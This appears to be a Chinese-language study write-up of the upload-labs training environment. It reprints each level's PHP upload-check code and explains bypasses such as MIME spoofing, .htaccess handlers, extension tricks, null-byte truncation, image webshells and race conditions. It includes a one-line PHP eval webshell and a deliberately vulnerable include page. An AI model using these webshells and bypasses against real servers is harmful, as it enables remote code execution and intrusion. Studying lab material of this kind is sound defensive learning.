OWASP Top 10 learning

web常见基础漏洞学习

文件上传

upload-labs环境搭建https://github.com/c0ny1/upload-labs

Pass-1-js检查

前端的js检测

PHP代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}

可以看到只允许jpg,png,gif文件的上传。

我们可以采取删除本js检测或者通过bp抓包的方式去手动修改文件后缀。

首先准备个一句话木马,也就是webshell,名称为1.jpg。

1
2
3
4
5
6
7
8
9
10
11

<?php
@eval($_POST['pass']);
?>

or

<?php
phpinfo();
?>

js检测代码删除。

bp抓包修改jpg为php

上传成功后就可以使用蚁剑链接了。

Pass-2-MIME-TYPE验证绕过

原理:即后端对HTTP Header中的Content-Type检测。

Content-Type
返回内容的MIME类型

Content-Type: text/html; charset=utf-8

代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}

可以看到代码中必须要求上传的文件需要满足的tpye类型为image/jpeg、image/png、image/gif。

采用bp抓包修改络请求绕过。

然后同样使用蚁剑链接。

Pass-3-黑名单绕过

即对某些文件后缀进行黑名单处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

看代码可以知道,不允许’.asp’,’.aspx’,’.php’,’.jsp’等文件后缀。并且重命名了文件,所以不可上传.htaccess文件。

所以尝试上传php5后缀的文件,出现了一个坑,本来的环境是用新版phpstudy配置的,但是在尝试配置Apache的conf文件时出现了一些问题,并没有起到效果,然后换了个18年的phpstudy,成功了。

为了能够上传.php5等后的文件,需要修改phpstudy文件目录下Apache下的httpd.conf。

AddType application/x-httpd-php .php .phtml .phps .php5 .pht

修改后上传写好的.php5一句话木马,然后使用蚁剑连接即可。

Pass-4-.htaccess绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

可以看到添加了跟多的黑名单,但是未过滤.htaccess,并且未修改上传文件名称,尝试上传.htaccess文件。

.htaccess的实例

<ifModule mime_module>

AddHandler php5-script .jpg
<!-- 将.jpg文件按照php代码进行解析执行 -->

AddType application/x-httpd-php .jpg
<!-- 将.jpg文件按照php代码进行解析执行 -->

Sethandler application/x-httpd-php
<!-- 将该目录及子目录下的文件均按照php文件解析执行 -->

</ifModule>
<!-- 该种匹配方式并不推荐,极易造成误伤 -->


<FilesMatch "muma.jpg">

Sethandler application/x-httpd-php
<!-- 将匹配到的 muma.jpg 文件按照php解析执行 -->

Addhandler php5-script .jpg
<!-- 将匹配到的 muma.jpg 文件按照php解析执行 -->

</FilesMatch>
<!-- 该种匹配方式较为精准,不会造成大批的误伤情况 -->

上传.htaccess时,不要加文件名。

然后上传个.jpg的一句话木马,蚁剑连接即可。

然后又去多搜索了下.htaccess的知识。

.htaccess原理:.htaccess文件是Apache服务器下的一个配置文件。其主要负责相关目录下的网页配置,即:在一个特定的文档目录中放置一个包含一个或多个指令的文件来对网页进行配置。
不过需要注意的是,.htaccess文件的作用域为其所在目录与其所有的子目录,不过若是子目录也存在.htaccess文件,则会覆盖父目录的.htaccess效果。

是需要1.mod_rewrite模块开启。2.AllowOverride All,然后结合下面一句话。

AllowOverride从字面上解释是允许覆盖的意思,即Apache允许另一配置文件覆盖现有配置文件。

我们通常利用Apache的rewrite模块对URL进行重写,rewrite规则会写在 .htaccess 文件里。
但要使 apache 能够正常的读取.htaccess 文件的内容,就必须对.htaccess 所在目录进行配置。

所以可以推测,为什么能够将.jpg文件识别为.php文件的原因就是经过URL重写,jpg已经变为了php。

Pass-5-系统命名绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

能过滤的都过滤了,空格,大小写,文件末尾点,::$DATA。

然后根据我自己抓包,发包的尝试,deldot函数应该是去除文件名后面所有的点。

尝试1.php. .,中间加个空格,这样先是经过deldot,去掉了最后一个点变成1.php. ,然后经过trim变成1.php.,在Windows系统中,上传 index.php. 会重命名为 . ,可以绕过后缀检查。

Pass-6-大小写绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

采用上面的方法是可以成功上传文件的,但是后缀没了,原因在于本样例重新进行了命名,也就是说采用上面的绕过方式,file_ext什么都没有。

但是本样例未对大小写进行判断,所以采用大小写绕过。1.Php。

Pass-7-空格绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

本样例未使用trim函数,去空格,采用空格绕过。

文件名称设置为1.php 。

Pass-8-点绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

未过滤文件后面的点,并且未重命名,利用windows文件特性,采用点绕过。

文件命名为1.php.。

Pass-8-流文件绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

看代码可知,未过滤::$DATA,在windows创建文件时,会忽略::$DATA。

所以可以将文件命名为1.php::$DATA去绕过检测。

Pass-10-系统命名绕过

和Pass-5一样。

Pass-11-双写后缀名绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

看源码可以知道,利用str_ireplace函数将常见后缀替换为了空,双写后缀绕过即可。

文件命名为1.pphphp,这样经过str_ireplace函数就会去掉中间的php,剩下1.php了。

Pass-12-GET00截断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

可以看到,只允许上传jpg,png,gif,但是文件保存的地址前半部分通过get传参方式可以在抓包过程中给显示出来,所以可以采用00截断。

所谓00截断,就是利用了GET提交参数到服务器系统中,系统在对文件名的读取时,如果遇到0x00,就会认为读取已结束。

说白了就是保存会变成这个样子的路径,upload/1.php%004234234131.jpg。但是系统读取文件时,遇到%00就停止了,所以相当于就是1.php。

但是00截断要求比较多,截断条件:php版本小于5.3.4,php的magic_quotes_gpc为OFF状态

Pass-13-POST00截断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

和get00截断差不多,只是需要手动去改下hex相关位置为00,在新版burp suite中移除了hex界面,相对的,我们只需要高亮我们修改字符,然后在右侧的窗口即可修改其对应hex。

Pass-14-文件头判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);

if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}


代码分析了文件上传的文件的前两个字节是否满足标准文件格式,然后返回了文件类型,利用返回的文件类型,重命名生成了文件。

我们可以利用图片码来绕过检测,也就是将修改webshell的前两个字节,使其能够过检测。

图片马就是向图片中插入我们的一句话木马,实际上如果只是过文件头的话,并不需要全部文件,只需要添上相应头文件就行。
网上总结的几种方法,https://www.cnblogs.com/Linkas/p/15101706.html

开始尝试上传我们自己生成的图片马,然后获取文件名称和路径。

然后这个lab也是提供了一个文件包含漏洞,使我们可以使用我们上传的图片马。

1
2
3
4
5
6
7
8
9
10
11
12
13
14

##include.php
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>

利用get传递一个文件,注意路径,路径一定要填对。

Pass-15-getimagesize()-图片马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。

此代码是type检测。

和上面同样的方式绕过。

Pass-16-exif_imagetype()-图片马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}


exif-imagetype

同样是类型检测,和上面差不多。

Pass-17-二次渲染绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];

$target_path=UPLOAD_PATH.'/'.basename($filename);

// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);

//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);

if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);

if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}


采用imagecreatefromgif生成了新的图片,删除了我们的一句话木马。

二次渲染原理: 在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。

所以我们只需要再次将其生成的图片给下载下来,然后继续添加我们的webshell就行。

针对不同的图片类型,添加webshell的方式也不同,https://blog.csdn.net/weixin_45519736/article/details/105775721
感觉还是gif比较好弄。

Pass-18-条件竞争

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}

仔细阅读源码的话,会发现文件是先上传到了服务器,然后再检测是否满足指定后缀,如果满足,就重命名文件,不满足,就删除文件。

这时候,我们可以采用条件竞争完成文件上传的目的。实际上原理就是通过利用文件是先上传到了服务器,然后不断请求上传php一句话木马,相当于我们上传的php文件就会在某些时刻存在于服务器。

具体步骤,抓包,发送到Intruder。

clear所有$。

设置请求次数,尽量设置偏大一点。

开始攻击。

然后不断尝试访问该php文件。

Pass-19-条件竞争

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119

//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}

//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){

$ret = $this->isUploadedFile();

if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// if flag to check if the file exists is set to 1

if( $this->cls_file_exists == 1 ){

$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, we are ready to move the file to destination

$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// check if we need to rename the file

if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, everything worked as planned :)

return $this->resultUpload( "SUCCESS" );

}
......
......
......
};

创造了一个类来进行判断,类的php代码在myupload.php,过程如下。。

isUploadedFile,判断指定的文件是否是通过 HTTP POST 上传的。

function isUploadedFile(){

if( is_uploaded_file( $this->cls_tmp_filename ) != true ){
  return "IS_UPLOADED_FILE_FAILURE";
} else {
  return 1;
}
}

setDir( $dir ),检测目录

checkExtension(),检测后缀名是否满足白名单。

function checkExtension(){

// Check if the extension is valid

if( !in_array( strtolower( strrchr( $this->cls_filename, "." )), $this->cls_arr_ext_accepted )){
    return "EXTENSION_FAILURE";
} else {
    return 1;
}
}

checkSize(),判断是否超过设置的最大文件大小。

function checkSize(){

if( $this->cls_filesize > $this->cls_max_filesize ){
  return "FILE_SIZE_FAILURE";
} else {
  return 1;
}
}

判断文件是否存在,默认不存在。
if( $this->cls_file_exists == 1 ){

  $ret = $this->checkFileExists();
  if( $ret != 1 ){
    return $this->resultUpload( $ret );    
  }
}

move(),上传文件到服务器。

function move(){

if( move_uploaded_file( $this->cls_tmp_filename, $this->cls_upload_dir . $this->cls_filename ) == false ){
  return "MOVE_UPLOADED_FILE_FAILURE";
} else {
  return 1;
}

}

renameFile(),重命名文件。

function renameFile(){

// if no new name was provided, we use

if( $this->cls_file_rename_to == '' ){

    $allchar = "abcdefghijklnmopqrstuvwxyz" ; 
    $this->cls_file_rename_to = "" ; 
    mt_srand (( double) microtime() * 1000000 ); 
    for ( $i = 0; $i<8 ; $i++ ){
    $this->cls_file_rename_to .= substr( $allchar, mt_rand (0,25), 1 ) ; 
    }
}    

// Remove the extension and put it back on the new file name

$extension = strrchr( $this->cls_filename, "." );
$this->cls_file_rename_to .= $extension;

